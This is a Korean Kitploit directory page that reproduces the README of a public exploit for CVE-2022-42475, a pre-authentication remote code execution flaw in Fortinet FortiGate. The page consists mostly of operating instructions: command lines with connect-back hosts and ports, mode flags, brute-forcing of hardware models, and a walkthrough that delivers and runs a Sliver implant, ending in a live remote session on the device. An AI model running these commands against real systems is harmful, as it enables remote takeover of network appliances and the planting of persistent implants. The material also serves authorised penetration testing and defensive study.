Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2022-42475 — CVE-2022-42475를 위한 익스플로잇, Fortinet 네트워킹 제품의 사전 인증 힙 오버플로우 취약점 | Kitploit
도구/GitHubGitHub/0xhaggis/cve-2022-42475
Vulnerability AnalysisExploitationRed TeamingRemote Access ToolPayload DevelopmentBinary Exploitation
GitHub0xhaggis/cve-2022-42475

CVE-2022-42475

CVE-2022-42475를 위한 익스플로잇, Fortinet 네트워킹 제품의 사전 인증 힙 오버플로우 취약점

저장소 보기
3313년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2022-42475

배경

이것은 블로그 게시물(https://bishopfox.com/blog/exploit-cve-2022-42475)에 대한 익스플로잇입니다.

수정 버전

이 익스플로잇 버전은 해커가 ROP 가젯 등에 필요한 메모리 주소를 직접 제공하지 않으면 작동하지 않습니다. 이러한 데이터를 결정하는 작업은 Bishop Fox의 기밀 및 독점 정보이며, 이 익스플로잇과 함께 게시할 수 없습니다(게시하지 않을 것입니다). 이해해 주시기 바랍니다!

작동 모드

  • 검증 전용, 익스플로잇 없음. 취약한지 확인. 페이로드 없음, 셸코드 없음.
  • 익스플로잇하지만 검증만 . 무해한 연결-백 "ping" 셸코드를 실행하여 대상이 익스플로잇 가능한지 확인.
  • 연결-백 바이너리 스테이저를 이용한 익스플로잇 . 셸코드가 익스플로잇에 연결-백하고, 암호화된 운영자 제공 바이너리 파일(일반적으로 https://github.com/BishopFox/Sliver)을 다운로드하여 복호화한 후 execve(binary_file)을 호출.

참고: 현재 "검증 전용" 모드는 알려진 모든 FortiOS 버전에서 작동합니다. 그러나 익스플로잇은 오직 FortiOS 6.0.4 (100D 하드웨어)에서만 작동합니다. 저는 더 이상 BF에서 근무하지 않으므로, 약 18,000개 대상을 지원하는 확장 익스플로잇을 게시할 수 없습니다.

요구 사항

  • PyCrypto
  • pycryptodome
root@kitploit:~
pip3 install PyCrypto
pip3 install pycryptodome

검증 전용

이 모드는 버그를 익스플로잇하려 시도하지 않고, 대신 충돌을 유발합니다 (원격 SSL VPN 데몬이 자동으로 즉시 재시작됨). 충돌은 휴리스틱하게 감지되어 운영자에게 보고됩니다.

-v 검증 플래그를 사용하여 실행:

root@kitploit:~
$ ./x.py -t 192.168.0.10 -p 8443 -v

    --[ CVE-2022-42475: FortiGate Remote Pre-auth RCE ]--
    --[ Bishop Fox Cosmos Team X                      ]--

[+] 검증 전용 모드로 실행 중. RCE 없음.
[>] 대상이 취약한지 테스트 중 (약 10초 소요)
[+] 대상 '192.168.0.10:8443'이(가) 취약한 것으로 보입니다

익스플로잇, 하지만 검증 (현재 FortiOS 6.0.4 on 100D 기기에서만 가능)

이 모드는 버그를 트리거하고, ROP 체인을 배포한 후 셸코드로 점프합니다. 셸코드는 무해하며 다음과 같이 작동합니다:

  • 익스플로잇이 대상에 연결하여 취약점을 트리거해 셸코드 실행
  • 셸코드가 운영자의 IP:포트로 연결-백
  • 셸코드가 익스플로잇에 단일 "hello" 바이트 0xbf 전송
  • 익스플로잇이 작은 암호화된 테스트 페이로드를 셸코드에 전달 (AES 키는 실행마다 무작위)
  • 셸코드가 페이로드를 복호화하여 FortiGate 기기의 /tmp/x에 저장
  • 페이로드 복호화가 성공하면 셸코드가 익스플로잇에 또 다른 단일 0xbf 바이트 전송
  • 익스플로잇이 바이트를 읽고 코드 실행을 확인.

플래그:

root@kitploit:~
-t           대상 호스트/IP
-p           대상 포트
-e           익스플로잇 모드
-c           연결-백 전용 모드
-H 및 -P     운영자의 IP:포트  (필수)
-s           FortiOS 소프트웨어 버전 (필수)
-m           FortiOS를 실행하는 하드웨어 모델
-d           디버깅 활성화

소프트웨어 버전 6.0.4와 기기 모델 100D를 선택한 예:

root@kitploit:~
┌──(kali㉿kali)-[/mnt/hgfs/fortios/CVE-2022-42475]
└─$ sudo ./x.py -t 192.168.0.10 -p 8443 -e -c -H 192.168.0.99 -P 443 -s 6.0.4 -m 100D                   130 ⨯

    --[ CVE-2022-42475: FortiGate Remote Pre-auth RCE ]--
    --[ Bishop Fox Cosmos Team X                      ]--

[+] 페이로드 암호화를 위한 무작위 128비트 AES 키 생성 중
[+] 페이로드 암호화 중...
[+] 캐시된 셸코드 사용 중. 강제로 새로고침하려면 ./x.py에서 'shellcode.s'를 수정하세요.
[+] 192.168.0.99:443으로 연결-백하도록 구성됨
[+] 암호화된 페이로드 리스너 시작 중...
[+] 익스플로잇 준비 중...
[+] 요청 전송 중!
[+] 'exploit_data.json'에서 가젯 가져오는 중
[<] 리스너가 포트 443에 바인딩됨, 연결-백 대기 중...
[+] 가젯 검증 중...
[!] FortiOS '5.2.14'에 대해 정의된 기능적 하드웨어 모델 없음. 제거됨.
[!] FortiOS '5.6.9'에 대해 정의된 기능적 하드웨어 모델 없음. 제거됨.
[+] 797개 대상 가져옴:
[-]   6.0.4     [  1 targets ]   <=== 100D
[-]   5.2.14    [ 47 targets ]
[-]   5.6.9     [ 60 targets ]
[-]   6.0.13    [ 68 targets ]
[-]   6.0.14    [ 67 targets ]
[-]   6.0.15    [ 58 targets ]
[-]   6.0.8     [ 67 targets ]
[-]   6.2.11    [ 69 targets ]
[-]   6.2.7     [ 75 targets ]
[-]   6.4.10    [ 71 targets ]
[-]   6.4.2     [ 62 targets ]
[-]   6.4.3     [ 61 targets ]
[-]   6.4.6     [ 73 targets ]
[-]   6.4.9     [ 72 targets ]
[-]   7.0.4     [ 53 targets ]
[+] 익스플로잇 시작
[<] 192.168.0.10:22470에서 들어오는 요청
[<] 대상에서 hello 패킷 수신!! 모델 #: 100D
[<] 암호화된 페이로드 36바이트 전송 중
[<] 페이로드 전송 완료 (36바이트), 응답 대기 중...
[<] 192.168.0.10으로부터 예상 응답 ('100D') 수신
[<] 대상은 100% 신뢰도로 VULNERABLE(취약)입니다.
[+] 모두 완료!

하드웨어 모델을 선택하기 위해 -m을 생략하면, 익스플로잇은 지정된 소프트웨어 버전에 대해 모든 하드웨어 대상을 무차별 대입(brute-force)합니다.

글로벌 열핵 전쟁

  • 운영자가 Sliver 임플란트 바이너리 (Linux 기반)의 위치를 지정
  • 익스플로잇이 대상에 연결하여 취약점을 트리거해 셸코드 실행
  • 셸코드가 운영자의 IP:포트로 연결-백
  • 셸코드가 익스플로잇에 단일 "hello" 바이트 0xbf 전송
  • 익스플로잇이 Sliver 바이너리를 암호화하여 셸코드로 전송
  • 셸코드가 바이너리를 복호화하여 /tmp/x에 저장
  • 셸코드가 익스플로잇에 "성공" 0xbf 바이트 전송
  • 익스플로잇이 바이트를 읽고 코드 실행 확인
  • 셸코드가 execve("/tmp/x") 호출
  • ???
  • 이익!

플래그:

root@kitploit:~
-t           대상 호스트/IP
-p           대상 포트
-e           익스플로잇 모드
-f filename  /path/to/binary/to/execve/on/target
-H 및 -P     운영자의 IP:포트 (연결-백용, 필수)
-s           FortiOS 소프트웨어 버전 (필수)
-m           FortiOS를 실행하는 하드웨어 모델
-d           디버깅 활성화

Sliver:

root@kitploit:~
carl@pluto:~$ ./sliver-server_linux

.------..------..------..------..------..------.
|S.--. ||L.--. ||I.--. ||V.--. ||E.--. ||R.--. |
| :/\: || :/\: || (\/) || :(): || (\/) || :(): |
| :\/: || (__) || :\/: || ()() || :\/: || ()() |
| '--'S|| '--'L|| '--'I|| '--'V|| '--'E|| '--'R|
`------'`------'`------'`------'`------'`------'

모든 해커는 무기를 얻는다
[*] 서버 v1.5.34 - d2a6fa8cd6cc029818dd8d9e4a039bdea8071ca2
[*] Sliver 쉘에 오신 것을 환영합니다. 도움말을 보려면 'help'를 입력하세요

[server] sliver > mtls -l 8888

[*] mTLS 리스너 시작 중 ...

[*] 작업 #1이 성공적으로 시작되었습니다

익스플로잇:

root@kitploit:~
$ ./x.py -t 192.168.0.10 -p 8443 -e -f implant5 -H 192.168.0.99 -P 443 -s 6.0.4 -m 100D

    --[ CVE-2022-42475: FortiGate Remote Pre-auth RCE ]--
    --[ Bishop Fox Cosmos Team X                      ]--

[+] 익스플로잇이 대상에서 execve("implant5")를 시도합니다
...
[<] 대상은 100% 신뢰도로 VULNERABLE(취약)입니다.
[+] 모두 완료.

그리고 Sliver로 돌아가서:

root@kitploit:~
[*] 세션 d8d5344b implant5 - 192.168.0.10:3500 (Burnet) - linux/amd64 - 2023년 3월 6일 월요일 22:18:30 MST

[server] sliver > use d8d5344b-c666-4c60-9e33-5ce50eb82cad

[*] 활성 세션 implant5 (d8d5344b-c666-4c60-9e33-5ce50eb82cad)

[server] sliver (implant5) > whoami

로그온 ID: <err>

[server] sliver (implant5) > ls

/ (19개 항목, 10.0 KiB)
======================
-rw-r--r--   .ash_history        590 B  2023년 1월 31일 화요일 11:31:57 +0000
drwxr-xr-x   bin                 <dir>  2023년 1월 31일 화요일 11:04:35 +0000
drwxr-xr-x   data                <dir>  2023년 1월 31일 화요일 05:24:10 +0000
drwxr-xr-x   data2               <dir>  2023년 1월 31일 화요일 11:40:01 +0000
drwxr-xr-x   dev                 <dir>  2023년 1월 31일 화요일 05:26:16 +0000
Lrwxrwxrwx   etc -> data/etc     8 B    2019년 1월 7일 월요일 18:03:23 +0000
Lrwxrwxrwx   fortidev -> /       1 B    2019년 1월 7일 월요일 18:03:23 +0000
Lrwxrwxrwx   init -> /sbin/init  10 B   2019년 1월 7일 월요일 18:03:23 +0000
drwxr-xr-x   lib                 <dir>  2019년 1월 7일 월요일 18:03:30 +0000
Lrwxrwxrwx   lib64 -> lib        3 B    2019년 1월 7일 월요일 18:03:23 +0000
drwxr-xr-x   migadmin            <dir>  2023년 1월 31일 화요일 05:23:26 +0000
dr-xr-xr-x   proc                <dir>  2023년 1월 31일 화요일 05:23:13 +0000
drwx------   root                <dir>  2019년 1월 7일 월요일 17:17:34 +0000
drwxr-xr-x   sbin                <dir>  2023년 1월 31일 화요일 05:23:27 +0000
drwxr-xr-x   security-rating     <dir>  2019년 1월 7일 월요일 18:01:04 +0000
drwxr-xr-x   sys                 <dir>  2023년 1월 31일 화요일 05:23:27 +0000
dtrwxrwxrwx  tmp                 <dir>  2023년 1월 31일 화요일 11:40:01 +0000
drwxr-xr-x   usr                 <dir>  2023년 1월 31일 화요일 05:23:27 +0000
drwxr-xr-x   var                 <dir>  2023년 1월 31일 화요일 05:24:07 +0000

Sliver가 <err>를 반환하는 이유는 FortiOS가 리눅스와 거의 비슷하지만 항상 예상대로 작동하지는 않기 때문입니다. 이는 Sliver의 문제가 아니라 FortiOS의 문제입니다.

더 많은 버전 곧 출시 예정

저는 더 이상 Bishop Fox에서 근무하지 않으므로, 업데이트를 위해 BF GitHub를 확인하시기 바랍니다.

도구 다운로드